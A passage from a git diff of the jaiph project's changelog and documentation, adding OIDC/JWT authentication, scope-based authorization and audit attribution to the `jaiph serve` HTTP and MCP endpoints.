idempotency, with `curl` examples) and a "Deployment topology" section in [Serve workflows over HTTP](docs/serve.md), the `Idempotency-Key`/`interrupted`/`409 E_IDEMPOTENCY_CONFLICT` and disk-reconstruction notes in [CLI](docs/cli.md#jaiph-serve), and a single-replica-by-design bullet in [Deploy the runtime image standalone](docs/deploy.md) plus the pinned `replicas: 1` + `Recreate` manifest. No new `JAIPH_*` env vars. - **Feat — expose REST and MCP Streamable HTTP from one `jaiph serve` process:** `jaiph serve` was HTTP-only while `jaiph mcp` was stdio-only, so a company deployment that needed both protocols required two processes (and had no Kubernetes-addressable MCP endpoint). `ServeHandler` (`src/cli/serve/handler.ts`) now embeds the same `McpServer` protocol machine used by `jaiph mcp` and serves it at **`POST /mcp`** beside the existing REST/OpenAPI API — one tool generation, one run registry, one concurrency cap, one sandbox/env posture, one hot-reload generation tracker, and the same `JAIPH_SERVE_TOKEN` bearer boundary on both `/v1/*` and `/mcp`. `McpServer.handleLine(line, write?)` (`src/cli/mcp/server.ts`) gains an optional per-call write sink routed through `AsyncLocalStorage`, so concurrent HTTP POSTs never cross-talk while the stdio transport keeps using the constructor `write`. An MCP `tools/call` funnels through the shared `startRun` path (also used by `POST /v1/workflows/{name}/runs`), so the call appears in `GET /v1/runs`, streams at `GET /v1/runs/{id}/events`, and cancels via `POST /v1/runs/{id}/cancel` or `notifications/cancelled` / SSE hangup — and every cancel path marks the shared run `cancelled` (not a generic `failed` from the killed child's exit). Response shapes follow the Streamable HTTP transport: JSON-RPC replies as `application/json`, notifications as `202` with no body, `tools/call` with `Accept: text/event-stream` as SSE progress + result, and `GET`/`DELETE /mcp` as `405`. Reverse-proxy requirements (disable buffering on streaming routes, raise read/idle timeouts, terminate TLS, forward `Authorization`) are documented. Tests: `src/cli/mcp/server.test.ts` (per-call sink routing + concurrent progress isolation), `src/cli/serve/handler.test.ts` (initialize/list/call, shared registry + concurrency cap, auth, SSE progress, MCP cancel → `cancelled`, REST cancel of an MCP run, SSE hangup cancel), `e2e/tests/147_serve_http_api.sh` (same-process REST+MCP), `e2e/tests/151_serve_transports_docker.sh` (both transports from outside a published container), and `e2e/tests/150_k8s_deploy.sh` (both transports from outside the Kind pod, same bearer). Docs: [Serve workflows over HTTP](docs/serve.md) §8 + reverse-proxy section, [CLI — `jaiph serve`](docs/cli.md#jaiph-serve), [Serve workflows as MCP tools](docs/mcp.md) network-pointer, [Deploy](docs/deploy.md) same-Service-port note. diff --git a/QUEUE.md b/QUEUE.md index b8398f1c..64f890c3 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -13,22 +13,3 @@ Process rules: 7. **Acceptance criteria are non-negotiable.** A task is not done until every acceptance bullet is verified by a test that fails when the contract is violated. "It works on my machine" or "the existing tests pass" is not acceptance. *** - -## Add production authentication, authorization, and audit identity #dev-ready - -`JAIPH_SERVE_TOKEN` is a useful fail-closed shared-secret gate, but it provides no user identity, revocation, per-action authorization, or attribution. That is insufficient when multiple company users can invoke arbitrary engineering workflows. - -Scope: - -- Keep the static bearer token as an explicit single-operator mode. -- Add a standard OIDC/JWT mode configured by issuer, audience, and JWKS discovery; use a maintained JWT library rather than custom cryptography. -- Authorize separate invoke, inspect/artifact, and cancel capabilities. -- Attach authenticated principal and request/correlation ID to run metadata, logs, OTLP resources, and Sentry tags without putting tokens or claims containing secrets into journals. -- Make exposure of `/docs` and `/openapi.json` configurable; keep health probes free of credentials and sensitive details. - -Acceptance: - -- Valid, expired, wrong-audience, wrong-issuer, unknown-key, and insufficient-scope tokens are covered by integration tests. -- A principal cannot inspect or cancel runs outside its authorization policy. -- Audit records identify who invoked and cancelled a run while never containing bearer tokens. -- Static-token mode remains tested and clearly documented as single-operator, not multi-tenant authentication. diff --git a/README.md b/README.md index 8917d949..adf0e06d 100644 --- a/README.md +++ b/README.md @@ -27,7 +27,7 @@ - **Safety and inspectability** — Docker-backed sandbox for **`jaiph run`** (env-controlled; see [Sandboxing](docs/sandboxing.md) and [Run in a Docker sandbox](docs/sandbox-run.md)); live **`__JAIPH_EVENT__`** on stderr and durable **`.jaiph/runs/`** artifacts ([Architecture](docs/architecture.md)). - **Tooling** — `jaiph compile`, `jaiph format`, `jaiph install` / `.jaiph/libs/` ([Use & publish a library](docs/libraries.md)), and optional `hooks.json` ([CLI](docs/cli.md), [Add a hook](docs/hooks.md)). - **MCP server** — `jaiph mcp ./tools.jh` serves a file's workflows as [MCP](https://modelcontextprotocol.io/) tools over stdio, so any MCP client (Claude Code, Cursor) can call tested Jaiph workflows as tools ([Serve workflows as MCP tools](docs/mcp.md)). -- **HTTP API** — `jaiph serve ./tools.jh` serves the same workflows over HTTP with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so any HTTP client (CI, Kubernetes, another service) can invoke them and inspect runs ([Serve workflows over HTTP](docs/serve.md)). +- **HTTP API** — `jaiph serve ./tools.jh` serves the same workflows over HTTP with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so any HTTP client (CI, Kubernetes, another service) can invoke them and inspect runs. Production auth is either a static single-operator bearer token or OIDC/JWT with per-user identity and `invoke` / `inspect` / `cancel` scope authorization, and every run is audit-attributed to its principal and correlation id ([Serve workflows over HTTP](docs/serve.md)). - **OpenTelemetry** — set the standard `OTEL_EXPORTER_OTLP_ENDPOINT` and each run exports one span tree (workflow → steps → prompts) to any OTLP collector — Grafana Tempo, Honeycomb, Datadog. Host-side, end-of-run, credential-redacted, zero new dependencies, never load-bearing ([Export traces to an OTLP collector](docs/observability.md)). - **Sentry error reporting** — set the standard `SENTRY_DSN` and every failed run (nonzero exit or a signal) is pushed to Sentry as one error event — workflow, failing step, a redacted output excerpt, and a run-dir pointer — so operators get alerting and grouping without scraping run dirs. Host-side, redacted, zero new dependencies, never load-bearing; successful runs send nothing ([Report failed runs to Sentry](docs/observability.md#report-failed-runs-to-sentry)). - **Standalone deployment** — the published `ghcr.io/jaiphlang/jaiph-runtime` image bakes `JAIPH_UNSAFE=true`, so `docker run … jaiph run flow.jh` (or a Kubernetes pod) runs workflows directly — put credentials plus `.jh` files and go, no host jaiph process and no Docker daemon inside the container. Here the container/pod boundary *is* the sandbox — there is no jaiph-managed isolation ([Deploy the runtime image standalone](docs/deploy.md)). diff --git a/docs/cli.md b/docs/cli.md index b5849a02..68e8faea 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -363,7 +363,7 @@ jaiph serve [--host ] [--port ] [--workspace ] [--inplace] [--unsa | Flag | Argument | Effect | |---|---|---| -| `--host` | `` | Listen address (default `127.0.0.1`). Binding a non-loopback host without `JAIPH_SERVE_TOKEN` set aborts startup. | +| `--host` | `` | Listen address (default `127.0.0.1`). Binding a non-loopback host with no authentication (neither `JAIPH_SERVE_TOKEN` nor OIDC configured) aborts startup. | | `--port` | `` | Listen port (default `5247`). `0` picks a free port. | | `--workspace` | `` | Workspace root for import resolution (default: auto-detected). | | `--env` | `KEY=VALUE` or `KEY` | Same per-key passthrough as `jaiph run --env`, resolved once at startup and applied to every run for the server's lifetime. | @@ -378,28 +378,32 @@ Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (diagnostics to s ### Endpoints -| Method & path | Auth | Behaviour | +The **Cap.** column names the capability an authenticated principal must hold to reach each endpoint. In static-token and open (loopback) mode the single principal holds every capability; in OIDC mode capabilities come from the token's OAuth scopes (`jaiph:invoke` / `jaiph:inspect` / `jaiph:cancel`) — see [Auth and limits](#auth-and-limits). `POST /mcp` (MCP Streamable HTTP) shares the same boundary: `tools/call` needs `invoke`, `tools/list` needs `inspect`. + +| Method & path | Cap. | Behaviour | |---|---|---| | `GET /` | none | `302` → `/docs`. | -| `GET /healthz` | none | `200 {status, version, tools, in_flight}`. | -| `GET /openapi.json` | none | OpenAPI 3.1 document, regenerated per request (hot reload needs no cache invalidation). | -| `GET /docs` | none | Swagger UI shell (loads `swagger-ui-dist` from a pinned, SRI-verified CDN). | -| `GET /v1/workflows` | bearer | `{workflows: [{name, description, params}]}`. | -| `POST /v1/workflows/{name}/runs` | bearer | Start a run. Default `202` + `Location: /v1/runs/{id}`; `?wait=true` blocks for the terminal `200`. Send an `Idempotency-Key` header (scoped to the authenticated principal + workflow) to make retries safe: an identical repeat returns the original run (`200`, no second spawn); a reused key with different arguments is `409 E_IDEMPOTENCY_CONFLICT` and spawns nothing. | -| `GET /v1/runs` | bearer | Runs started by this process **plus runs reconstructed from disk on restart**, newest first. Paginated: `?limit` (default `100`, clamped to `1000`), `?offset` (default `0`). Response is `{runs, total, limit, offset}` and never unbounded. | -| `GET /v1/runs/{id}` | bearer | The run object. `404` unknown. | -| `GET /v1/runs/{id}/events` | bearer | The run's `run_summary.jsonl`. Default `application/x-ndjson` snapshot, streamed from disk (never buffered whole); `Accept: text/event-stream` replays then follows it live, closing with `event: end` when terminal. Served verbatim (already credential-redacted); raw capture files are never exposed. `404` unknown. | -| `GET /v1/runs/{id}/artifacts` | bearer | `{artifacts: [{path, size, mtime}]}` for files published under the run's `artifacts/` (empty when none). `404` unknown. | -| `GET /v1/runs/{id}/artifacts/{path}` | bearer | Download one published file (`application/octet-stream`), streamed with backpressure — never buffered whole, so an arbitrarily large file costs no server memory and a client disconnect closes the file. Traversal-proof — `..`, absolute paths, and escaping symlinks are `404`. `413 E_ARTIFACT_TOO_LARGE` when the file exceeds `JAIPH_SERVE_MAX_ARTIFACT_BYTES`. | -| `POST /v1/runs/{id}/cancel` | bearer | `202`; the run reaches `cancelled`. `409` if already terminal. | - -The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled` \| `interrupted`. `interrupted` is the terminal state a run is reconciled to after a process death caught it mid-flight — its outcome is unknown, so it is neither `succeeded` nor `failed`, but it is never reported as permanently `running`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `409 E_IDEMPOTENCY_CONFLICT` (idempotency key reused with different arguments), `413 E_BODY_TOO_LARGE` (1 MiB request-body cap), `413 E_ARTIFACT_TOO_LARGE` (artifact download over `JAIPH_SERVE_MAX_ARTIFACT_BYTES`), `415` (non-`application/json` body), and `429 E_TOO_MANY_RUNS`. +| `GET /healthz` | none | `200 {status, version, tools, in_flight}`. Always open and credential-free. | +| `GET /openapi.json` | none | OpenAPI 3.1 document, regenerated per request (hot reload needs no cache invalidation). `404` when `JAIPH_SERVE_EXPOSE_DOCS=false`. | +| `GET /docs` | none | Swagger UI shell (loads `swagger-ui-dist` from a pinned, SRI-verified CDN). `404` when `JAIPH_SERVE_EXPOSE_DOCS=false`. | +| `GET /v1/workflows` | `inspect` | `{workflows: [{name, description, params}]}`. | +| `POST /v1/workflows/{name}/runs` | `invoke` | Start a run. Default `202` + `Location: /v1/runs/{id}`; `?wait=true` blocks for the terminal `200`. Send an `Idempotency-Key` header (scoped to the authenticated principal + workflow) to make retries safe: an identical repeat returns the original run (`200`, no second spawn); a reused key with different arguments is `409 E_IDEMPOTENCY_CONFLICT` and spawns nothing. | +| `GET /v1/runs` | `inspect` | Runs started by this process **plus runs reconstructed from disk on restart**, newest first, scoped to the caller's own runs (all runs for a static/open principal). Paginated: `?limit` (default `100`, clamped to `1000`), `?offset` (default `0`). Response is `{runs, total, limit, offset}` and never unbounded. | +| `GET /v1/runs/{id}` | `inspect` | The run object. `404` unknown (a run the principal does not own is indistinguishable from nonexistent). | +| `GET /v1/runs/{id}/events` | `inspect` | The run's `run_summary.jsonl`. Default `application/x-ndjson` snapshot, streamed from disk (never buffered whole); `Accept: text/event-stream` replays then follows it live, closing with `event: end` when terminal. Served verbatim (already credential-redacted); raw capture files are never exposed. `404` unknown. | +| `GET /v1/runs/{id}/artifacts` | `inspect` | `{artifacts: [{path, size, mtime}]}` for files published under the run's `artifacts/` (empty when none). `404` unknown. | +| `GET /v1/runs/{id}/artifacts/{path}` | `inspect` | Download one published file (`application/octet-stream`), streamed with backpressure — never buffered whole, so an arbitrarily large file costs no server memory and a client disconnect closes the file. Traversal-proof — `..`, absolute paths, and escaping symlinks are `404`. `413 E_ARTIFACT_TOO_LARGE` when the file exceeds `JAIPH_SERVE_MAX_ARTIFACT_BYTES`. | +| `POST /v1/runs/{id}/cancel` | `cancel` | `202`; the run reaches `cancelled`. `409` if already terminal. | + +The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir, principal, correlation_id}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled` \| `interrupted`. `principal` is the audit subject that created the run (`anonymous`/`operator` in open/static mode, the token `sub` in OIDC mode — never a token) and `correlation_id` is the request id attached at create time; both are `null` when unset. `interrupted` is the terminal state a run is reconciled to after a process death caught it mid-flight — its outcome is unknown, so it is neither `succeeded` nor `failed`, but it is never reported as permanently `running`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED` (missing/invalid static token), `401 E_TOKEN_EXPIRED` / `401 E_TOKEN_INVALID` (OIDC token expired, or bad audience/issuer/key/signature), `403 E_FORBIDDEN` (principal lacks the required capability), `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `409 E_IDEMPOTENCY_CONFLICT` (idempotency key reused with different arguments), `413 E_BODY_TOO_LARGE` (1 MiB request-body cap), `413 E_ARTIFACT_TOO_LARGE` (artifact download over `JAIPH_SERVE_MAX_ARTIFACT_BYTES`), `415` (non-`application/json` body), `429 E_TOO_MANY_RUNS`, and `503 E_AUTH_UNAVAILABLE` (OIDC identity provider / JWKS unreachable). Each run's public record is persisted beside its journal as `run.json` when it finishes, and reconstructed into the registry on startup — so `GET /v1/runs`, `/v1/runs/{id}`, `/events`, and `/artifacts` keep working for pre-restart terminal runs, and idempotency keys survive a restart. `jaiph serve` is a **single-replica** service: the run registry, concurrency cap, and idempotency index are per-process and not shared across replicas — run two behind one load balancer and each has its own view. See [Serve — deployment topology](serve.md#deployment-topology). ### Auth and limits -- `JAIPH_SERVE_TOKEN` (env only) enables a bearer token required on every `/v1/*` request, compared in constant time. `/healthz`, `/openapi.json`, and `/docs` stay unauthenticated (schema metadata only). On loopback the token is optional; binding a non-loopback `--host` without it is a startup error. +- **Authentication** has two production modes (credentials come from the environment, never argv) plus an open loopback default. **Static single-operator token:** `JAIPH_SERVE_TOKEN` is a shared secret required on every `/v1/*` and `/mcp` request (`Authorization: Bearer `, constant-time compared). It is a fail-closed gate for **one operator** — no per-user identity, revocation, or per-action authorization; the operator holds every capability and sees every run — not multi-tenant authentication. **OIDC/JWT (multi-tenant):** set `JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE` (takes precedence over the static token; setting only one is a startup error) to verify bearer JWTs against the issuer's JWKS (discovered from `/.well-known/openid-configuration`, or set `JAIPH_SERVE_OIDC_JWKS_URI`) with a maintained JWT library — signature, `exp`/`nbf`, `aud`, `iss`, `kid`. Each token is authorized by OAuth scopes: `jaiph:invoke` (run), `jaiph:inspect` (read workflows/runs/events/artifacts, MCP `tools/list`), `jaiph:cancel` (cancel a run); a missing capability is `403 E_FORBIDDEN`, and a principal (the token `sub`) may inspect or cancel **only the runs it created**. The authenticated subject and the request's correlation id (`X-Correlation-Id` / `X-Request-Id`, else a generated UUID) attach to run metadata, the invoke/cancel audit log lines, OTLP resource attributes, and Sentry tags — never a token or a claim value. +- Binding a non-loopback `--host` with **no** authentication is a startup error. On loopback, auth is optional (every caller is the `anonymous` principal with all capabilities). +- `JAIPH_SERVE_EXPOSE_DOCS` (default `true`) controls whether `/docs` and `/openapi.json` are served; set `false` (or `0`) to return `404` for both and hide the API surface. `/healthz` is always open and credential-free (liveness/readiness only — no tokens or sensitive detail). - `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs; requests beyond it get `429`. - `JAIPH_SERVE_MAX_ARTIFACT_BYTES` (default `0` = no cap) refuses artifact downloads larger than the limit with `413`. Downloads stream with backpressure regardless, so the default keeps server memory bounded no matter the file size; set a finite cap only to reject oversized downloads outright. - Memory bounds keep a long-lived server from growing without limit: `JAIPH_SERVE_MAX_OUTPUT_BYTES` (default 1 MiB) caps collected stdout, stderr, log output, and the resident `result_text` per run (overflow dropped with a truncation marker); `JAIPH_SERVE_RETAIN_RUNS` (default `500`) and `JAIPH_SERVE_RETAIN_AGE_SEC` (default `86400`, `0` disables) bound how many completed runs stay in the in-memory registry, evicting the oldest terminal records first. **Active runs are never evicted**, and eviction drops only the in-memory record — durable `.jaiph/runs` journals and artifacts persist on disk and are the operator's to prune. See [Serve workflows over HTTP](serve.md#9-bound-memory-over-a-long-lived-server). diff --git a/docs/deploy.md b/docs/deploy.md index d29f8795..fccff2b2 100644 --- a/docs/deploy.md +++ b/docs/deploy.md @@ -80,7 +80,7 @@ The manifest runs `jaiph serve --host 0.0.0.0` as a long-lived HTTP runner (see - **Image tag pinning.** The manifest ships `:nightly` with an inline note to pin a released tag or a `@sha256:` digest for production — never track a moving tag. - **TLS via ingress.** `jaiph serve` speaks plain HTTP; the Service stays `ClusterIP` and you terminate TLS at an Ingress / gateway (cert-manager, a cloud LB, or a mesh) in front of it. Do not expose the token-guarded API to the internet without TLS. - **Resource requests.** Agent workloads are CPU- and memory-hungry — they spawn backend CLIs plus build/test toolchains. The manifest requests `1` CPU / `2Gi` and limits `2` CPU / `4Gi` as a starting point; tune to your workflows. -- **Auth.** Binding `0.0.0.0` without `JAIPH_SERVE_TOKEN` is a startup error by design, so the Secret is mandatory. Every `/v1/*` request then requires `Authorization: Bearer `. +- **Auth.** Binding `0.0.0.0` with no authentication is a startup error by design, so the Secret is mandatory. `JAIPH_SERVE_TOKEN` is the single-operator shared secret shown here; for multiple company users configure OIDC/JWT instead (`JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE`, with per-user identity and `jaiph:invoke` / `jaiph:inspect` / `jaiph:cancel` scope authorization) — put those non-secret addresses in the manifest `env`. Every `/v1/*` and `POST /mcp` request then requires `Authorization: Bearer `. See [Authenticate and authorize](serve.md#7-authenticate-and-authorize). - **Observability wiring, credential-free.** Commented `env` entries show where `OTEL_EXPORTER_OTLP_ENDPOINT` / `OTEL_SERVICE_NAME` / `SENTRY_ENVIRONMENT` go; anything secret (`SENTRY_DSN`, an `OTEL_EXPORTER_OTLP_HEADERS` auth token) belongs in the `jaiph-credentials` Secret, never in the manifest. See [Observability](observability.md). The same security posture applies: the pod runs in host mode (`JAIPH_UNSAFE=true` is baked), so **isolation is the pod boundary** — the manifest configures that boundary, and there is no jaiph-managed sandbox inside. diff --git a/docs/env-vars.md b/docs/env-vars.md index 2fa9560c..eec6cece 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -89,12 +89,16 @@ Contradictory posture is never resolved by precedence: `--inplace` / `JAIPH_INPL | `JAIPH_RUNS_DIR` | host, runtime | path | `.jaiph/runs` under the workspace | `run.logs_dir` | Root directory for run logs. Inside Docker the host CLI overrides this to `/jaiph/run`. | | `JAIPH_RUNS_DIR_LOCKED` | internal | bool | — | — | Lock flag for `JAIPH_RUNS_DIR`. | | `JAIPH_SCRIPTS` | internal | path | — | — | Directory of emitted `script` files for this run. Set after `buildScripts()`. Any parent-shell value is cleared before launch. | +| `JAIPH_SERVE_EXPOSE_DOCS` | host | bool | `true` | — | `jaiph serve` — expose `GET /docs` (Swagger UI) and `GET /openapi.json`. Set `false` (or `0`) to return `404` for both so a hardened deployment hides its API surface. `/healthz` is always available and credential-free. | | `JAIPH_SERVE_MAX_ARTIFACT_BYTES` | host | int | `0` (no cap) | — | `jaiph serve` — max size (bytes) of one artifact download; a larger file is refused with HTTP `413`. Downloads always stream with backpressure, so `0` (no cap) still keeps server memory bounded regardless of artifact size. Must be `>= 0`. | | `JAIPH_SERVE_MAX_CONCURRENT` | host | int | `4` | — | `jaiph serve` — cap on simultaneously-running workflows; requests beyond it get HTTP `429`. Must be a positive integer. | | `JAIPH_SERVE_MAX_OUTPUT_BYTES` | host | int | `1048576` (1 MiB) | — | `jaiph serve` — per-run byte cap applied independently to collected stdout, stderr, log output, and the public `result_text`. Output beyond the cap is dropped with a deterministic truncation marker, bounding one run's memory. Must be a positive integer. | +| `JAIPH_SERVE_OIDC_AUDIENCE` | host | string | — | — | `jaiph serve` — expected JWT `aud` claim for OIDC/JWT auth mode. Set together with `JAIPH_SERVE_OIDC_ISSUER` to enable OIDC (per-user identity + scope authorization); setting only one is a startup error. Takes precedence over `JAIPH_SERVE_TOKEN`. | +| `JAIPH_SERVE_OIDC_ISSUER` | host | string | — | — | `jaiph serve` — expected JWT `iss` claim and (unless `JAIPH_SERVE_OIDC_JWKS_URI` is set) the base for OIDC discovery (`/.well-known/openid-configuration`). Enables OIDC/JWT auth mode with `JAIPH_SERVE_OIDC_AUDIENCE`. Tokens are authorized by the `jaiph:invoke` / `jaiph:inspect` / `jaiph:cancel` scopes and may inspect/cancel only their own runs. | +| `JAIPH_SERVE_OIDC_JWKS_URI` | host | string | — | — | `jaiph serve` — explicit JWKS URI for OIDC token verification. Optional; when unset the JWKS URI is discovered from `JAIPH_SERVE_OIDC_ISSUER`'s OpenID configuration document. | | `JAIPH_SERVE_RETAIN_AGE_SEC` | host | int | `86400` (24h) | — | `jaiph serve` — max age (seconds, from `ended_at`) of a completed run kept in the in-memory registry; older terminal records are evicted. `0` disables age eviction. Active runs are never evicted; durable `.jaiph/runs` artifacts are unaffected. Must be `>= 0`. | | `JAIPH_SERVE_RETAIN_RUNS` | host | int | `500` | — | `jaiph serve` — max completed runs kept in the in-memory registry; beyond it the oldest terminal records are evicted first. Active runs are never evicted; durable `.jaiph/runs` artifacts are unaffected. Must be a positive integer. | -| `JAIPH_SERVE_TOKEN` | host | string | — | — | `jaiph serve` — bearer token required on every `/v1/*` request (constant-time compared). Unset leaves `/v1/*` open on loopback; binding a non-loopback `--host` without it is a startup error. `/healthz`, `/openapi.json`, `/docs` are always unauthenticated. | +| `JAIPH_SERVE_TOKEN` | host | string | — | — | `jaiph serve` — static **single-operator** bearer token required on every `/v1/*` and `/mcp` request (constant-time compared). This is a shared-secret gate, **not** multi-tenant authentication: there is no per-user identity, revocation, or per-action authorization — the one operator holds every capability. For those, use OIDC (`JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE`), which takes precedence. Unset leaves `/v1/*` open on loopback; binding a non-loopback `--host` with no auth is a startup error. `/healthz` is always unauthenticated; `/docs` + `/openapi.json` follow `JAIPH_SERVE_EXPOSE_DOCS`. | | `JAIPH_SKILL_PATH` | host | path | — | — | When set and the path exists, `jaiph init` writes `.jaiph/SKILL.md` from that file. Otherwise the CLI walks an install-relative search. | | `JAIPH_SOURCE_ABS` | internal | path | — | — | Absolute path to the entry `.jh` file. Set by the CLI before spawning the runner. | | `JAIPH_SOURCE_FILE` | internal | string (basename) | entry-file basename | — | Used to name run directories. | @@ -152,7 +156,7 @@ source-parity table above), which bounds — but never enables — delivery. See | `OTEL_EXPORTER_OTLP_HEADERS` | string (`k=v,k=v`) | — | Comma-separated headers applied to the export POST (for example an auth token). | | `OTEL_EXPORTER_OTLP_PROTOCOL` | string (`http/json`) | `http/json` | Only `http/json` is spoken. Any other value (for example `grpc`) → warn on stderr and skip export. | | `OTEL_SERVICE_NAME` | string | `jaiph` | `service.name` resource attribute on every exported span. | -| `OTEL_RESOURCE_ATTRIBUTES` | string (`k=v,k=v`) | — | Extra resource attributes. Jaiph also always adds `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, and `jaiph.source`. | +| `OTEL_RESOURCE_ATTRIBUTES` | string (`k=v,k=v`) | — | Extra resource attributes. Jaiph also always adds `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, and `jaiph.source`; an authenticated `jaiph serve` run additionally adds `jaiph.principal` (audit subject) and `jaiph.correlation_id` (request id) — never a token or a secret-bearing claim. | Jaiph also reads the standard Sentry environment variables to report **failed** runs to a Sentry error tracker — again **no `JAIPH_*` variables**, consumed diff --git a/docs/index.html b/docs/index.html index 8b915bc9..11560a2e 100644 --- a/docs/index.html +++ b/docs/index.html @@ -567,7 +567,10 @@

    Runtime

    HTTP API. jaiph serve ./tools.jh serves the same workflows over HTTP with a generated OpenAPI 3.1 document and a browser Swagger UI at /docs, - so any HTTP client (CI, Kubernetes, another service) can invoke them and inspect runs. See + so any HTTP client (CI, Kubernetes, another service) can invoke them and inspect runs. Production + auth is a static single-operator bearer token or OIDC/JWT with per-user identity and + invoke / inspect / cancel scope + authorization, and every run is audit-attributed to its principal and correlation id. See Serve workflows over HTTP.

    OpenTelemetry. Set the standard OTEL_EXPORTER_OTLP_ENDPOINT and every run exports one span tree diff --git a/docs/observability.md b/docs/observability.md index dff4bdfa..151d7290 100644 --- a/docs/observability.md +++ b/docs/observability.md @@ -90,6 +90,13 @@ The exported payload is sourced entirely from `run_summary.jsonl`, which is alre credential-redacted, so secrets in step output arrive as `[REDACTED]`. The raw per-step capture files are never read. +**Authenticated `jaiph serve` runs** also carry the caller's identity as resource +attributes: `jaiph.principal` (the audit subject — the token `sub` in OIDC mode, +`operator` / `anonymous` otherwise) and `jaiph.correlation_id` (the request's +`X-Correlation-Id` / `X-Request-Id`, else a generated UUID). Both are attached on +every span of the trace; neither is ever a bearer token or a secret-bearing claim. +They are absent for `jaiph run` and anonymous callers. + ## Failure is never load-bearing Telemetry never affects a run. An unreachable or erroring collector produces @@ -144,7 +151,9 @@ credential-redacted), never from the raw `.out` / `.err` captures: - **`message`** — `workflow failed (exit N)`, or `terminated by signal S`. - **`level`** `error`, **`platform`** `node`. - **`tags`** — `jaiph.workflow`, `jaiph.source` (the source file basename), and the - failing step's `jaiph.step.kind` / `jaiph.step.name` when known. + failing step's `jaiph.step.kind` / `jaiph.step.name` when known. An authenticated + `jaiph serve` run also tags `jaiph.principal` (the audit subject) and + `jaiph.correlation_id` (the request id) — never a token or a secret-bearing claim. - **`extra`** — `failing_step_detail` (the failing step's redacted `err`/`out` excerpt) and `run_dir` (a pointer to the run directory for triage). - **`fingerprint`** — `["jaiph", , ]`, so diff --git a/docs/serve.md b/docs/serve.md index b7d145d8..22e2368a 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -10,7 +10,7 @@ This recipe turns a `.jh` file into an HTTP API: `jaiph serve ./tools.jh` expose It reuses the same compile-time validation, sandboxed execution, and `.jaiph/runs/` artifacts as [`jaiph run`](cli.md#jaiph-run), and the same exposure rules as [`jaiph mcp`](mcp.md). Where MCP binds the server to a co-located stdio parent, `jaiph serve` makes the workflows reachable over the network. -> **Security:** an HTTP-exposed workflow is arbitrary shell reachable by anyone who can reach the port (and, if set, holds the token) — that is the point. Bind to loopback for local use; for anything else set `JAIPH_SERVE_TOKEN`, put the server behind a TLS-terminating reverse proxy / ingress (the process speaks plain HTTP), and treat the run directory as sensitive. +> **Security:** an HTTP-exposed workflow is arbitrary shell reachable by anyone who can reach the port (and, if set, holds the token) — that is the point. Bind to loopback for local use; for anything else configure authentication (a static `JAIPH_SERVE_TOKEN` for a single operator, or OIDC/JWT for multiple users — see [Authenticate and authorize](#7-authenticate-and-authorize)), put the server behind a TLS-terminating reverse proxy / ingress (the process speaks plain HTTP), and treat the run directory as sensitive. ## Prerequisites @@ -48,7 +48,7 @@ curl -s -X POST 'http://127.0.0.1:5247/v1/workflows/greet/runs?wait=true' \ -H 'content-type: application/json' -d '{"name":"world"}' | jq ``` -The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}`. `result_text` is the same content an MCP client sees — the workflow's `return` value, or its failure narrative. Failure narratives are credential-redacted (`[REDACTED]`) the same way as the event journal; the `return` value of a successful run is intentional API output and returned verbatim. **A workflow failure is not an HTTP error:** a failed run comes back `200`/`202` with `status: "failed"` and a `run dir:` pointer in `result_text`. Poll `GET /v1/runs/{id}` for an async run, list them with `GET /v1/runs` (newest first, paginated — `?limit=` defaults to 100 and is clamped to 1000, `?offset=` skips that many; the response carries `{runs, total, limit, offset}`), and stop one with `POST /v1/runs/{id}/cancel`. +The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir, principal, correlation_id}` (`principal` is the audit subject that created the run and `correlation_id` its request id — see [Authenticate and authorize](#7-authenticate-and-authorize); both are `null` when unset). `result_text` is the same content an MCP client sees — the workflow's `return` value, or its failure narrative. Failure narratives are credential-redacted (`[REDACTED]`) the same way as the event journal; the `return` value of a successful run is intentional API output and returned verbatim. **A workflow failure is not an HTTP error:** a failed run comes back `200`/`202` with `status: "failed"` and a `run dir:` pointer in `result_text`. Poll `GET /v1/runs/{id}` for an async run, list them with `GET /v1/runs` (newest first, paginated — `?limit=` defaults to 100 and is clamped to 1000, `?offset=` skips that many; the response carries `{runs, total, limit, offset}`), and stop one with `POST /v1/runs/{id}/cancel`. ## 4. Watch a run as it executes @@ -87,16 +87,37 @@ Downloads stream from disk with backpressure — the server never buffers a comp Open `http://127.0.0.1:5247/docs` in a browser to get a live form for every workflow. When a token is configured, paste it into the **Authorize** box (Swagger UI keeps it across reloads). The UI loads its assets from a pinned, SRI-verified CDN, so `/docs` needs internet access in the browser; air-gapped operators use `/openapi.json` with any locally-hosted renderer. -## 7. Require a token and expose the port +## 7. Authenticate and authorize -The token comes from the environment (never argv, which leaks into process listings). With it set, every `/v1/*` request must carry `Authorization: Bearer `; `/healthz`, `/openapi.json`, and `/docs` stay open. +`jaiph serve` has two production auth modes plus an open loopback-dev 